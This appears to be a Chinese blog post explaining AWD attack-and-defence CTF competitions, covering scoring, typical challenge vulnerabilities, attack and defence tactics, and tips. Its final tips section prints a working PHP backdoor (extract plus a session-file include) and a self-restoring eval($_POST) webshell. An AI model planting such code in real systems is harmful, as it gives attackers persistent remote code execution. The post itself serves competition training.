1-何为AWD
Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。
比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。
2-AWD之出题人
在这里暂且冒充下出题人QAQ
0x01:题目类型
1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
0x02:代码类型
目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。
0x03:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
0x04:出题人思路
为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?
3-如何攻击
相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。
0x01:如何拿flag
一般来说就是以下两种模式:
1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
0x02:一个web狗需要具备的一些东西
大致有以下几点:
1-快速的漏洞反应能力。
因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2-快速编写脚本的能力。
因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。
3-一个好的心态
毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。
0x03:当我们处于优势地位时
除非处于那种绝对优势的时候,我们可以什么都不在乎。
当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。
0x04:当我们处于劣势地位时
首先还是那句话,心态不要崩。
其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
4-如何防守
其实防守更多看的是谁比较细心。
0x01:比赛开始的时候
比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。
然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。
0x02:然后的工作
当然是审计,审计,再审计。
0x03:当发现被打时
当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。
5-一些小tips
分享几个小例子以及自己的思路。
0x01:如果自己拿到了FB
当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。
所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。
0x02:特别熟悉的cms
作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:
1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。
2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。
0x03:一些比较有意思的backdoor
比如下面这个,有兴趣的话可以自己本地测试下:
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>
0x04:一些有趣shell
在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
6-Ending
参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。